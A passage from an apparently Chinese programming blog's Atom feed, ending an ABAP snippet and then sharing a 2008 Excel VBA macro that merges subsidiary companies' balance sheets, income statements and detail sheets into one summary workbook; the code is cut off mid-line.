sp;&nbsp;&nbsp;&nbsp;&nbsp;=<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;TABLES<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;LINES&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;=&nbsp;IT_LINE<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;EXCEPTIONS<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;ID&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;=&nbsp;1<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;LANGUAGE&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;=&nbsp;2<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;NAME&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;=&nbsp;3<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;NOT_FOUND&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;=&nbsp;4<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;OBJECT&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;=&nbsp;5<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;REFERENCE_CHECK&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;=&nbsp;6<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;WRONG_ACCESS_TO_ARCHIVE&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;=&nbsp;7<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;OTHERS&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;=&nbsp;8<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;.<br/>*&nbsp;&nbsp;&nbsp;&nbsp;IF&nbsp;SY-SUBRC&nbsp;&lt;&gt;&nbsp;0.<br/>*&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;MESSAGE&nbsp;ID&nbsp;SY-MSGID&nbsp;TYPE&nbsp;SY-MSGTY&nbsp;NUMBER&nbsp;SY-MSGNO<br/>*&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;WITH&nbsp;SY-MSGV1&nbsp;SY-MSGV2&nbsp;SY-MSGV3&nbsp;SY-MSGV4.<br/>*&nbsp;&nbsp;&nbsp;&nbsp;ENDIF.<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;LOOP&nbsp;AT&nbsp;IT_LINE&nbsp;.<br/>*&nbsp;&nbsp;PERFORM&nbsp;IT_WRITE&nbsp;USING&nbsp;I&nbsp;9&nbsp;IT_LINE-TDLINE.<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;IT_LIST-TDLINE&nbsp;=&nbsp;IT_LINE-TDLINE.<br/>&nbsp;&nbsp;&nbsp;&nbsp;ENDLOOP.]]></summary>
	  <link rel="alternate" type="text/html" href="http://www.dbsun.com/default.asp?id=163" /> 
	  <id>http://www.dbsun.com/default.asp?id=163</id> 
  </entry>	
		
  <entry>
	  <title type="html"><![CDATA[ [原创]合并各子公司财务报表 VBA  初稿]]></title>
	  <author>
		 <name>zilong</name>
		 <uri>http://www.dbsun.com/</uri>
		 <email>dbmaster@163.com</email>
	  </author>
	  <category term="" scheme="http://www.dbsun.com/default.asp?cateID=10" label="Javascript" /> 
	  <updated>2008-12-16T15:07:44+08:00</updated>
	  <published>2008-12-16T15:07:44+08:00</published>
		  <summary type="html"><![CDATA[十几家子公司EXCEL报表需要合并，手工整理，直接挂了~~~<br/>技术支持财务部门，所以书写VBA&nbsp;.&nbsp;分享如下，呵呵。<br/><br/>&#39;厦门国贸&nbsp;合并各子公司财务报表<br/>&#39;add&nbsp;by&nbsp;IT部杨闽&nbsp;on&nbsp;2008.12.15<br/>&#39;mail:dbmaster@163.com<br/>&#39;qq:153560261<br/><br/><br/><br/><br/>Private&nbsp;Sub&nbsp;bt_clearAll_Click()<br/>&#39;清空合并的工作表中的数据<br/><br/>&nbsp;If&nbsp;MsgBox(&#34;确认需要清空所有合并的数据？&#34;,&nbsp;vbYesNo,&nbsp;&#34;温馨提示&#34;)&nbsp;&lt;&gt;&nbsp;vbYes&nbsp;Then&nbsp;Exit&nbsp;Sub<br/><br/>&nbsp;Dim&nbsp;xlSht&nbsp;As&nbsp;Worksheet<br/>&nbsp;&nbsp;&nbsp;For&nbsp;Each&nbsp;xlSht&nbsp;In&nbsp;Worksheets<br/>&nbsp;&nbsp;&nbsp;&nbsp;If&nbsp;xlSht.Name&nbsp;&lt;&gt;&nbsp;&#34;资产负债表&#34;&nbsp;And&nbsp;xlSht.Name&nbsp;&lt;&gt;&nbsp;&#34;利润表&#34;&nbsp;Then<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&#39;xlSht.Cells.ClearContents<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;xlSht.Cells.Clear<br/>&nbsp;&nbsp;&nbsp;&nbsp;ElseIf&nbsp;xlSht.Name&nbsp;=&nbsp;&#34;资产负债表&#34;&nbsp;Then<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;xlSht.Range(&#34;B6:C17&#34;).ClearContents<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;xlSht.Range(&#34;G6:H18&#34;).ClearContents<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;xlSht.Range(&#34;B20:C37&#34;).ClearContents<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;xlSht.Range(&#34;G20:H27&#34;).ClearContents<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;xlSht.Range(&#34;G30:H36&#34;).ClearContents<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;xlSht.Range(&#34;G38:H38&#34;).ClearContents<br/>&nbsp;&nbsp;&nbsp;&nbsp;ElseIf&nbsp;xlSht.Name&nbsp;=&nbsp;&#34;利润表&#34;&nbsp;Then<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;xlSht.Range(&#34;C6:D14&#34;).ClearContents<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;xlSht.Range(&#34;C16:D18&#34;).ClearContents<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;xlSht.Range(&#34;C20:D20&#34;).ClearContents<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;xlSht.Range(&#34;C22:D23&#34;).ClearContents<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;xlSht.Range(&#34;C25:D26&#34;).ClearContents<br/>&nbsp;&nbsp;&nbsp;&nbsp;End&nbsp;If<br/>&nbsp;&nbsp;&nbsp;&nbsp;<br/>&nbsp;&nbsp;&nbsp;Next<br/>&nbsp;<br/><br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;MsgBox&nbsp;&#34;已先清空所有工作表数据!&#34;,&nbsp;64&nbsp;+&nbsp;0,&nbsp;&#34;温馨提示&#34;<br/><br/>End&nbsp;Sub<br/><br/>Private&nbsp;Sub&nbsp;comb_allExcel_Click()<br/>&#39;按钮单击，调用合并EXCEL功能<br/>&nbsp;&nbsp;Call&nbsp;UnionWorksheets<br/>&nbsp;&nbsp;<br/>End&nbsp;Sub<br/><br/><br/><br/><br/>Sub&nbsp;UnionWorksheets()<br/>&#39;厦门国贸IT部&nbsp;合并财务报表过程<br/>&#39;add&nbsp;by&nbsp;yangmin&nbsp;on&nbsp;2008.12.15<br/>&#39;mail:dbmaster@163.com<br/>&#39;qq:153560261<br/>&nbsp;&nbsp;&nbsp;<br/>&nbsp;&nbsp;&nbsp;&nbsp;Dim&nbsp;i&nbsp;&nbsp;As&nbsp;Long&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&#39;&nbsp;循环变量记录每个excel工作簿下，工作表的数量<br/>&nbsp;&nbsp;&nbsp;&nbsp;i&nbsp;=&nbsp;0<br/>&nbsp;&nbsp;&nbsp;&nbsp;<br/>&nbsp;&nbsp;&nbsp;&nbsp;Dim&nbsp;j&nbsp;&nbsp;As&nbsp;Long&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&#39;&nbsp;循环变量&nbsp;&nbsp;记录要合并的excel文件数<br/>&nbsp;&nbsp;&nbsp;&nbsp;j&nbsp;=&nbsp;0<br/>&nbsp;&nbsp;&nbsp;&nbsp;Dim&nbsp;ins&#101;rt_row&nbsp;As&nbsp;Long&nbsp;&nbsp;&nbsp;&nbsp;&#39;&nbsp;合并文件中的粘贴位置<br/>&nbsp;&nbsp;&nbsp;&nbsp;<br/>&nbsp;&nbsp;&nbsp;&nbsp;Dim&nbsp;a&nbsp;As&nbsp;Integer&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&#39;资产表，利润表具体那些行需要更新数据<br/>&nbsp;&nbsp;&nbsp;&nbsp;<br/>&nbsp;&nbsp;&nbsp;&nbsp;Dim&nbsp;zcount&nbsp;As&nbsp;Integer&nbsp;&nbsp;&nbsp;&nbsp;&#39;总共要合并的EXCEL文件数<br/>&nbsp;&nbsp;&nbsp;&nbsp;zcount&nbsp;=&nbsp;0<br/>&nbsp;&nbsp;&nbsp;&nbsp;<br/>&nbsp;&nbsp;&nbsp;&nbsp;Dim&nbsp;zfinished&nbsp;As&nbsp;Integer&nbsp;&nbsp;&nbsp;&#39;显示百分比进度<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;Application.ScreenUpdating&nbsp;=&nbsp;False<br/>&nbsp;&nbsp;&nbsp;&nbsp;<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;<br/>&nbsp;&nbsp;&nbsp;&nbsp;<br/>&nbsp;&nbsp;&nbsp;&nbsp;<br/>&nbsp;&nbsp;&nbsp;&nbsp;Dim&nbsp;lj&nbsp;As&nbsp;String<br/>&nbsp;&nbsp;&nbsp;&nbsp;Dim&nbsp;dirname&nbsp;As&nbsp;String<br/>&nbsp;&nbsp;&nbsp;&nbsp;Dim&nbsp;nm&nbsp;As&nbsp;String<br/>&nbsp;&nbsp;&nbsp;&nbsp;<br/>&nbsp;&nbsp;&nbsp;&nbsp;lj&nbsp;=&nbsp;ActiveWorkbook.Path&nbsp;&nbsp;&#39;当前文件路径<br/>&nbsp;&nbsp;&nbsp;&nbsp;nm&nbsp;=&nbsp;ActiveWorkbook.Name&nbsp;&nbsp;&#39;当前文件名称<br/>&nbsp;&nbsp;&nbsp;&nbsp;dirname&nbsp;=&nbsp;Dir(lj&nbsp;&amp;&nbsp;&#34;\*.xls&#34;)<br/>&nbsp;&nbsp;&nbsp;&nbsp;<br/>&nbsp;&nbsp;&nbsp;&nbsp;<br/>&nbsp;&nbsp;&nbsp;&nbsp;<br/>&#39;在当前目录下查找有多少个excel工作簿<br/>With&nbsp;Application.FileSearch<br/>&nbsp;&nbsp;&nbsp;&nbsp;.LookIn&nbsp;=&nbsp;lj<br/>&nbsp;&nbsp;&nbsp;&nbsp;.Filename&nbsp;=&nbsp;&#34;*.xls&#34;<br/>&nbsp;&nbsp;&nbsp;&nbsp;<br/>&nbsp;&nbsp;&nbsp;&nbsp;.Execute<br/>&nbsp;&nbsp;&nbsp;&nbsp;If&nbsp;.FoundFiles.Count&nbsp;=&nbsp;0&nbsp;o&#114;&nbsp;.FoundFiles.Count&nbsp;=&nbsp;1&nbsp;Then<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;zcount&nbsp;=&nbsp;1&nbsp;&#39;未有其他可以合并的表，只有本张EXCEL表<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;MsgBox&nbsp;&#34;还没有可以合并的工作簿，请检查。&#34;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Exit&nbsp;Sub<br/>&nbsp;&nbsp;&nbsp;&nbsp;Else<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;zcount&nbsp;=&nbsp;.FoundFiles.Count&nbsp;-&nbsp;1<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&#39;MsgBox&nbsp;&#34;找到了&#34;&nbsp;&amp;&nbsp;zcount&nbsp;&amp;&nbsp;&#34;个需要合并的工作簿&#34;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;If&nbsp;MsgBox(&#34;确认需要合并当前目录下&#34;&nbsp;&amp;&nbsp;zcount&nbsp;&amp;&nbsp;&#34;个工作簿？&#34;,&nbsp;vbYesNo,&nbsp;&#34;温馨提示&#34;)&nbsp;&lt;&gt;&nbsp;vbYes&nbsp;Then&nbsp;Exit&nbsp;Sub<br/>&nbsp;&nbsp;&nbsp;&nbsp;End&nbsp;If<br/>&nbsp;&nbsp;&nbsp;&nbsp;<br/>End&nbsp;With<br/>&nbsp;&nbsp;&nbsp;&nbsp;<br/>&nbsp;&nbsp;&nbsp;&nbsp;<br/>&nbsp;&nbsp;&nbsp;&#39;&nbsp;Cells.Clear<br/>&nbsp;&nbsp;&nbsp;&nbsp;<br/>&nbsp;&nbsp;&nbsp;&nbsp;Do&nbsp;While&nbsp;dirname&nbsp;&lt;&gt;&nbsp;&#34;&#34;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&#39;开始遍历当前路径下的所有excel文件<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;If&nbsp;dirname&nbsp;&lt;&gt;&nbsp;nm&nbsp;Then&nbsp;&nbsp;&#39;非本张汇总工作簿<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;j&nbsp;=&nbsp;j&nbsp;+&nbsp;1<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;zfinished&nbsp;=&nbsp;j&nbsp;/&nbsp;3&nbsp;*&nbsp;100&nbsp;&#39;进度百分比<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Application.StatusBar&nbsp;=&nbsp;&#34;当前合并进度&nbsp;&#34;&nbsp;&amp;&nbsp;zfinished&nbsp;&amp;&nbsp;&#34;%&#34;&nbsp;&#39;显示进度条<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Workbooks.Open&nbsp;Filename:=lj&nbsp;&amp;&nbsp;&#34;\&#34;&nbsp;&amp;&nbsp;dirname<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Workbooks(nm).Activate<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&#39;复制新打开工作簿的工作表的已用区域到当前工作表&nbsp;&nbsp;&#39;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br/>&nbsp;For&nbsp;i&nbsp;=&nbsp;1&nbsp;To&nbsp;Workbooks(dirname).Sheets.Count&nbsp;&nbsp;&nbsp;&#39;对当前工作簿的各个工作表进行遍历<br/><br/>&nbsp;&nbsp;With&nbsp;Workbooks(dirname).Sheets(i)<br/>&nbsp;&nbsp;&nbsp;&nbsp;<br/>&nbsp;&nbsp;&nbsp;&nbsp;If&nbsp;j&nbsp;=&nbsp;1&nbsp;And&nbsp;Workbooks(dirname).Sheets(i).Name&nbsp;&lt;&gt;&nbsp;&#34;资产负债表&#34;&nbsp;And&nbsp;Workbooks(dirname).Sheets(i).Name&nbsp;&lt;&gt;&nbsp;&#34;利润表&#34;&nbsp;Then&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&#39;是第一张表,要表头<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&#39;添加明细表的数据来源&nbsp;add&nbsp;by&nbsp;ym&nbsp;on&nbsp;2008.12.16<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Dim&nbsp;m,&nbsp;n&nbsp;As&nbsp;Integer<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;m&nbsp;=&nbsp;Workbooks(dirname).Sheets(i).Range(&#34;dz1&#34;).End(xlToLeft).Column<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;n&nbsp;=&nbsp;Workbooks(dirname).Sheets(i).Range(&#34;A65536&#34;).End(xlUp).Row<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&#39;&nbsp;MsgBox&nbsp;&#34;这张表共有&#34;&nbsp;&amp;&nbsp;n&nbsp;&amp;&nbsp;&#34;行，&#34;&nbsp;&amp;&nbsp;m&nbsp;&amp;&nbsp;&#34;列。&#34;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;m&nbsp;=&nbsp;m&nbsp;+&nbsp;1<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Sheets(i).Cells(1,&nbsp;m)&nbsp;=&nbsp;&#34;数据来源&#34;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Sheets(i).Cells(1,&nbsp;m).Interior.ColorIndex&nbsp;=&nbsp;37&nbsp;&#39;背景设置为淡兰色<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;If&nbsp;n&nbsp;&gt;=&nbsp;2&nbsp;Then<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;For&nbsp;a&nbsp;=&nbsp;2&nbsp;To&nbsp;n<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Sheets(i).Cells(a,&nbsp;m)&nbsp;=&nbsp;Left(dirname,&nbsp;Len(dirname)&nbsp;-&nbsp;4)&nbsp;&#39;取文件名<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Next<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;End&nbsp;If<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;If&nbsp;Workbooks(dirname).Sheets(i).Name&nbsp;=&nbsp;Sheets(i).Name&nbsp;Then<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Workbooks(dirname).Sheets(i).UsedRange.Copy&nbsp;_<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Sheets(i).Range(&#34;a65536&#34;).End(xlUp).Offset(0,&nbsp;0)&nbsp;&#39;将打开的需要合并的子EXCEL报表的某sheet，合并到当前sheet的从(0,0)开始的位置<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Else<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;MsgBox&nbsp;&#34;工作簿&#39;&#34;&nbsp;&amp;&nbsp;dirname&nbsp;&amp;&nbsp;&#34;&#39;下的工作表&#39;&#34;&nbsp;&amp;&nbsp;Workbooks(dirname).Sheets(i).Name&nbsp;&amp;&nbsp;&#34;&#39;顺序与当前汇总表不同，请检查&#34;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;End&nbsp;If<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br/>&nbsp;&nbsp;&nbsp;&nbsp;ElseIf&nbsp;Workbooks(dirname).Sheets(i).Name&nbsp;&lt;&gt;&nbsp;&#34;资产负债表&#34;&nbsp;And&nbsp;Workbooks(dirname).Sheets(i).Name&nbsp;&lt;&gt;&nbsp;&#34;利润表&#34;&nbsp;Then<br/>&nbsp;&nbsp;&nbsp;&nbsp;<br/>&nbsp;&nbsp;&nbsp;&nbsp;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&#39;添加明细表的数据来源&nbsp;add&nbsp;by&nbsp;ym&nbsp;on&nbsp;2008.12.16<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&#39;Dim&nbsp;m,&nbsp;n&nbsp;As&nbsp;Integer<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Dim&nbsp;b&nbsp;As&nbsp;Integer<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;b&nbsp;=&nbsp;Sheets(i).Range(&#34;A65536&#34;).End(xlUp).Row&nbsp;&#39;汇总表已经有的行数<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;b&nbsp;=&nbsp;b&nbsp;+&nbsp;1&nbsp;&#39;当前新加行<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&#39;MsgBox&nbsp;&#34;当前新加行;&#34;&nbsp;&amp;&nbsp;b&nbsp;&amp;&nbsp;&#34;行&#34;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;m&nbsp;=&nbsp;Workbooks(dirname).Sheets(i).Range(&#34;dz1&#34;).End(xlToLeft).Column<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;n&nbsp;=&nbsp;Workbooks(dirname).Sheets(i).Range(&#34;A65536&#34;).End(xlUp).Row<br/>&nbsp;&nbsp;&nbsp;&nbsp;If&nbsp;n&nbsp;&gt;=&nbsp;2&nbsp;Then<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&#39;&nbsp;MsgBox&nbsp;&#34;这张表共有&#34;&nbsp;&amp;&nbsp;n&nbsp;&amp;&nbsp;&#34;行，&#34;&nbsp;&amp;&nbsp;m&nbsp;&amp;&nbsp;&#34;列。&#34;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;m&nbsp;=&nbsp;m&nbsp;+&nbsp;1<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&#39;Sheets(i).Cells(1,&nbsp;m)&nbsp;=&nbsp;&#34;数据来源&#34;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;n&nbsp;=&nbsp;n&nbsp;+&nbsp;b&nbsp;-&nbsp;1&nbsp;-&nbsp;1<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;For&nbsp;a&nbsp;=&nbsp;b&nbsp;To&nbsp;n<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Sheets(i).Cells(a,&nbsp;m)&nbsp;=&nbsp;Left(dirname,&nbsp;Len(dirname)&nbsp;-&nbsp;4)&nbsp;&nbsp;&#39;取文件名<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Next<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;End&nbsp;If<br/>&nbsp;&nbsp;&nbsp;&nbsp;<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;If&nbsp;Workbooks(dirname).Sheets(i).Name&nbsp;=&nbsp;Sheets(i).Name&nbsp;Then<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;.Range(.Cells(2,&nbsp;1),&nbsp;.Cells.SpecialCells(xlCellTypeLastCell)).Copy&nbsp;_<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Sheets(i).Range(&#34;a65536&#34;).End(xlUp).Offset(1,&nbsp;0)&nbsp;&#39;注意这个要从&nbsp;(1,0)开始追加数据！否则最后会发现会覆盖上次取数的一行数据！！<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Else<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;MsgBox&nbsp;&#34;工作簿&#39;&#34;&nbsp;&amp;&nbsp;dirname&nbsp;&amp;&nbsp;&#34;&#39;下的工作表&#39;&#34;&nbsp;&amp;&nbsp;Workbooks(dirname).Sheets(i).Name&nbsp;&amp;&nbsp;&#34;&#39;顺序与当前汇总表不同，请检查&#34;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;End&nbsp;If<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br/>&nbsp;&nbsp;&nbsp;&nbsp;<br/>&nbsp;&nbsp;&nbsp;&nbsp;ElseIf&nbsp;Workbooks(dirname).Sheets(i).Name&nbsp;=&nbsp;&#34;资产负债表&#34;&nbsp;Then&nbsp;&nbsp;&#39;资产负债表的修正<br/>&nbsp;&nbsp;&nbsp;&nbsp;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&#39;Dim&nbsp;a&nbsp;As&nbsp;Integer<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;For&nbsp;a&nbsp;=&nbsp;6&nbsp;To&nbsp;37<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;If&nbsp;a&nbsp;&lt;&gt;&nbsp;19&nbsp;Then<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Sheets(i).Range(&#34;b&#34;&nbsp;&amp;&nbsp;a)&nbsp;=&nbsp;Sheets(i).Range(&#34;b&#34;&nbsp;&amp;&nbsp;a)&nbsp;+&nbsp;Workbooks(dirname).Sheets(i).Range(&#34;b&#34;&nbsp;&amp;&nbsp;a)&nbsp;&#39;&nbsp;&nbsp;期末余额<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Sheets(i).Range(&#34;c&#34;&nbsp;&amp;&nbsp;a)&nbsp;=&nbsp;Sheets(i).Range(&#34;c&#34;&nbsp;&amp;&nbsp;a)&nbsp;+&nbsp;Workbooks(dirname).Sheets(i).Range(&#34;c&#34;&nbsp;&